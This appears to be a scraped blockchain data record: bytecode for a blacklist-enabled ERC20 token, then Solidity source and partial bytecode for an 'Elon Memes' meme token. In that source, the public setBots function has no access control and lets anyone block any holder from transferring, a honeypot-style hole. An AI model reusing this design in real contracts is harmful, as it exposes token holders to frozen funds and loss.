0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063a9059cbb11610071578063a9059cbb14610309578063ad2bb1b314610339578063dd62ed3e14610355578063f2fde38b14610385578063fbac3951146103a157610116565b80638da5cb5b1461026d578063942d468b1461028b57806395d89b41146102bb578063a457c2d7146102d957610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f157806342966c681461022157806370a082311461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd14610169578063186d9d8814610187575b600080fd5b6101236103d1565b6040516101309190611ab5565b60405180910390f35b610153600480360381019061014e9190611746565b610463565b6040516101609190611a9a565b60405180910390f35b610171610481565b60405161017e9190611c97565b60405180910390f35b6101a1600480360381019061019c9190611692565b61048b565b005b6101bd60048036038101906101b891906116f7565b610515565b6040516101ca9190611a9a565b60405180910390f35b6101db610616565b6040516101e89190611cb2565b60405180910390f35b61020b60048036038101906102069190611746565b61061f565b6040516102189190611a9a565b60405180910390f35b61023b600480360381019061023691906117f7565b6106cb565b005b61025760048036038101906102529190611692565b61075b565b6040516102649190611c97565b60405180910390f35b6102756107a4565b6040516102829190611a7f565b60405180910390f35b6102a560048036038101906102a09190611782565b6107cd565b6040516102b29190611a9a565b60405180910390f35b6102c36108a7565b6040516102d09190611ab5565b60405180910390f35b6102f360048036038101906102ee9190611746565b610939565b6040516103009190611a9a565b60405180910390f35b610323600480360381019061031e9190611746565b610a2d565b6040516103309190611a9a565b60405180910390f35b610353600480360381019061034e9190611692565b610a4b565b005b61036f600480360381019061036a91906116bb565b610ad5565b60405161037c9190611c97565b60405180910390f35b61039f600480360381019061039a9190611692565b610b5c565b005b6103bb60048036038101906103b69190611692565b610d05565b6040516103c89190611a9a565b60405180910390f35b6060600580546103e090611dfb565b80601f016020809104026020016040519081016040528092919081815260200182805461040c90611dfb565b80156104595780601f1061042e57610100808354040283529160200191610459565b820191906000526020600020905b81548152906001019060200180831161043c57829003601f168201915b5050505050905090565b6000610477610470610d5b565b8484610d63565b6001905092915050565b6000600454905090565b610493610d5b565b73ffffffffffffffffffffffffffffffffffffffff166104b16107a4565b73ffffffffffffffffffffffffffffffffffffffff1614610507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fe90611bb7565b60405180910390fd5b610512816000610f2e565b50565b6000610522848484611045565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061056d610d5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e490611b97565b60405180910390fd5b61060a856105f9610d5b565b85846106059190611d3f565b610d63565b60019150509392505050565b60006012905090565b60006106c161062c610d5b565b84846002600061063a610d5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106bc9190611ce9565b610d63565b6001905092915050565b6106d3610d5b565b73ffffffffffffffffffffffffffffffffffffffff166106f16107a4565b73ffffffffffffffffffffffffffffffffffffffff1614610747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073e90611bb7565b60405180910390fd5b610758610752610d5b565b826112c7565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600090505b858590508160ff16101561089a576108876107ee610d5b565b87878460ff1681811061082a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061083f9190611692565b86868560ff1681811061087b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135611045565b808061089290611e2d565b9150506107d5565b5060019050949350505050565b6060600680546108b690611dfb565b80601f01602080910402602001604051908101604052809291908181526020018280546108e290611dfb565b801561092f5780601f106109045761010080835404028352916020019161092f565b820191906000526020600020905b81548152906001019060200180831161091257829003601f168201915b5050505050905090565b60008060026000610948610d5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fc90611c57565b60405180910390fd5b610a22610a10610d5b565b858584610a1d9190611d3f565b610d63565b600191505092915050565b6000610a41610a3a610d5b565b8484611045565b6001905092915050565b610a53610d5b565b73ffffffffffffffffffffffffffffffffffffffff16610a716107a4565b73ffffffffffffffffffffffffffffffffffffffff1614610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90611bb7565b60405180910390fd5b610ad2816001610f2e565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b64610d5b565b73ffffffffffffffffffffffffffffffffffffffff16610b826107a4565b73ffffffffffffffffffffffffffffffffffffffff1614610bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcf90611bb7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f90611b17565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90611c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3a90611b37565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f219190611c97565b60405180910390a3505050565b610f36610d5b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90611bd7565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167f8b013b23a88536ac388362502bb7e856a071b191d4d460cad41b54c88c5d0aaa60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac90611c17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c90611ad7565b60405180910390fd5b61113083838361149d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae90611b57565b60405180910390fd5b81816111c39190611d3f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112559190611ce9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b99190611c97565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611337576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132e90611bf7565b60405180910390fd5b6113438260008361149d565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190611af7565b60405180910390fd5b81816113d69190611d3f565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816004600082825461142b9190611d3f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114909190611c97565b60405180910390a3505050565b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561154d575060001515600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b61158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390611c77565b60405180910390fd5b600081116115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690611b77565b60405180910390fd5b505050565b6000813590506115e3816122a6565b92915050565b60008083601f8401126115fb57600080fd5b8235905067ffffffffffffffff81111561161457600080fd5b60208301915083602082028301111561162c57600080fd5b9250929050565b60008083601f84011261164557600080fd5b8235905067ffffffffffffffff81111561165e57600080fd5b60208301915083602082028301111561167657600080fd5b9250929050565b60008135905061168c816122bd565b92915050565b6000602082840312156116a457600080fd5b60006116b2848285016115d4565b91505092915050565b600080604083850312156116ce57600080fd5b60006116dc858286016115d4565b92505060206116ed858286016115d4565b9150509250929050565b60008060006060848603121561170c57600080fd5b600061171a868287016115d4565b935050602061172b868287016115d4565b925050604061173c8682870161167d565b9150509250925092565b6000806040838503121561175957600080fd5b6000611767858286016115d4565b92505060206117788582860161167d565b9150509250929050565b6000806000806040858703121561179857600080fd5b600085013567ffffffffffffffff8111156117b257600080fd5b6117be878288016115e9565b9450945050602085013567ffffffffffffffff8111156117dd57600080fd5b6117e987828801611633565b925092505092959194509250565b60006020828403121561180957600080fd5b60006118178482850161167d565b91505092915050565b61182981611d73565b82525050565b61183881611d85565b82525050565b600061184982611ccd565b6118538185611cd8565b9350611863818560208601611dc8565b61186c81611eb5565b840191505092915050565b6000611884602383611cd8565b915061188f82611ec6565b604082019050919050565b60006118a7602283611cd8565b91506118b282611f15565b604082019050919050565b60006118ca602683611cd8565b91506118d582611f64565b604082019050919050565b60006118ed602283611cd8565b91506118f882611fb3565b604082019050919050565b6000611910602683611cd8565b915061191b82612002565b604082019050919050565b6000611933602083611cd8565b915061193e82612051565b602082019050919050565b6000611956602883611cd8565b91506119618261207a565b604082019050919050565b6000611979602083611cd8565b9150611984826120c9565b602082019050919050565b600061199c603683611cd8565b91506119a7826120f2565b604082019050919050565b60006119bf602183611cd8565b91506119ca82612141565b604082019050919050565b60006119e2602583611cd8565b91506119ed82612190565b604082019050919050565b6000611a05602483611cd8565b9150611a10826121df565b604082019050919050565b6000611a28602583611cd8565b9150611a338261222e565b604082019050919050565b6000611a4b601e83611cd8565b9150611a568261227d565b602082019050919050565b611a6a81611db1565b82525050565b611a7981611dbb565b82525050565b6000602082019050611a946000830184611820565b92915050565b6000602082019050611aaf600083018461182f565b92915050565b60006020820190508181036000830152611acf818461183e565b905092915050565b60006020820190508181036000830152611af081611877565b9050919050565b60006020820190508181036000830152611b108161189a565b9050919050565b60006020820190508181036000830152611b30816118bd565b9050919050565b60006020820190508181036000830152611b50816118e0565b9050919050565b60006020820190508181036000830152611b7081611903565b9050919050565b60006020820190508181036000830152611b9081611926565b9050919050565b60006020820190508181036000830152611bb081611949565b9050919050565b60006020820190508181036000830152611bd08161196c565b9050919050565b60006020820190508181036000830152611bf08161198f565b9050919050565b60006020820190508181036000830152611c10816119b2565b9050919050565b60006020820190508181036000830152611c30816119d5565b9050919050565b60006020820190508181036000830152611c50816119f8565b9050919050565b60006020820190508181036000830152611c7081611a1b565b9050919050565b60006020820190508181036000830152611c9081611a3e565b9050919050565b6000602082019050611cac6000830184611a61565b92915050565b6000602082019050611cc76000830184611a70565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611cf482611db1565b9150611cff83611db1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d3457611d33611e57565b5b828201905092915050565b6000611d4a82611db1565b9150611d5583611db1565b925082821015611d6857611d67611e57565b5b828203905092915050565b6000611d7e82611d91565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611de6578082015181840152602081019050611dcb565b83811115611df5576000848401525b50505050565b60006002820490506001821680611e1357607f821691505b60208210811415611e2757611e26611e86565b5b50919050565b6000611e3882611dbb565b915060ff821415611e4c57611e4b611e57565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20616d6f756e74206d7573742062652061626f7665207a65726f600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206d6573736167652073656e6465722063616e206e6f7420626c60008201527f6f636b206f7220756e626c6f636b2068696d73656c6600000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f4d4c5445524332303a207472616e73666572206e6f7420616c6c6f7765640000600082015250565b6122af81611d73565b81146122ba57600080fd5b50565b6122c681611db1565b81146122d157600080fd5b5056fea2646970667358221220b192b093613bb7e4e7eefaea29106726054901615339be358c70c7394ae765c164736f6c63430008040033
{"success": true, "error": null, "results": {}}
8,529
0xD06bb1f7C7b00558e2cdC8055CddeDE2c4490CCf
// SPDX-License-Identifier: UNLICENSED /** https://t.me/Elonmeme **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonMeme is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Elon Memes"; string private constant _symbol = "ELONMEME"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(100); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 7; _feeAddr2 = 5; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (30 minutes); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 7; _feeAddr2 = 5; } require(cooldown[from] < block.timestamp); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610310578063c3c8cd8014610330578063c9567bf914610345578063dd62ed3e1461035a578063e9e1831a146103a057600080fd5b8063715018a6146102825780638da5cb5b1461029757806395d89b41146102bf578063a9059cbb146102f057600080fd5b8063273123b7116100dc578063273123b7146101d3578063313ce567146102115780635932ead11461022d5780636fc3eaec1461024d57806370a082311461026257600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a815269456c6f6e204d656d657360b01b60208201525b604051610155919061156d565b60405180910390f35b34801561016a57600080fd5b5061017e6101793660046115e7565b6103b5565b6040519015158152602001610155565b34801561019a57600080fd5b506702c68af0bb1400005b604051908152602001610155565b3480156101bf57600080fd5b5061017e6101ce366004611613565b6103cc565b3480156101df57600080fd5b5061020f6101ee366004611654565b6001600160a01b03166000908152600660205260409020805460ff19169055565b005b34801561021d57600080fd5b5060405160098152602001610155565b34801561023957600080fd5b5061020f61024836600461167f565b610435565b34801561025957600080fd5b5061020f610486565b34801561026e57600080fd5b506101a561027d366004611654565b610493565b34801561028e57600080fd5b5061020f6104b5565b3480156102a357600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102cb57600080fd5b50604080518082019091526008815267454c4f4e4d454d4560c01b6020820152610148565b3480156102fc57600080fd5b5061017e61030b3660046115e7565b610529565b34801561031c57600080fd5b5061020f61032b3660046116b2565b610536565b34801561033c57600080fd5b5061020f610660565b34801561035157600080fd5b5061020f610676565b34801561036657600080fd5b506101a5610375366004611777565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103ac57600080fd5b5061020f61089d565b60006103c2338484610a63565b5060015b92915050565b60006103d9848484610b87565b61042b843361042685604051806060016040528060288152602001611974602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610edc565b610a63565b5060019392505050565b6000546001600160a01b031633146104685760405162461bcd60e51b815260040161045f906117b0565b60405180910390fd5b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761049081610f16565b50565b6001600160a01b0381166000908152600260205260408120546103c690610f50565b6000546001600160a01b031633146104df5760405162461bcd60e51b815260040161045f906117b0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c2338484610b87565b60005b815181101561065c57600d5482516001600160a01b0390911690839083908110610565576105656117e5565b60200260200101516001600160a01b0316141580156105b65750600e5482516001600160a01b03909116908390839081106105a2576105a26117e5565b60200260200101516001600160a01b031614155b80156105ed5750306001600160a01b03168282815181106105d9576105d96117e5565b60200260200101516001600160a01b031614155b1561064a5760016006600084848151811061060a5761060a6117e5565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061065481611811565b915050610539565b5050565b600061066b30610493565b905061049081610fcd565b6000546001600160a01b031633146106a05760405162461bcd60e51b815260040161045f906117b0565b600e54600160a01b900460ff16156106fa5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045f565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073630826702c68af0bb140000610a63565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610774573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610798919061182a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610809919061182a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087a919061182a565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146108c75760405162461bcd60e51b815260040161045f906117b0565b600d546001600160a01b031663f305d71947306108e381610493565b6000806108f86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610960573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109859190611847565b5050600e805463ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109f6573d6000803e3d6000fd5b505050506040513d601f19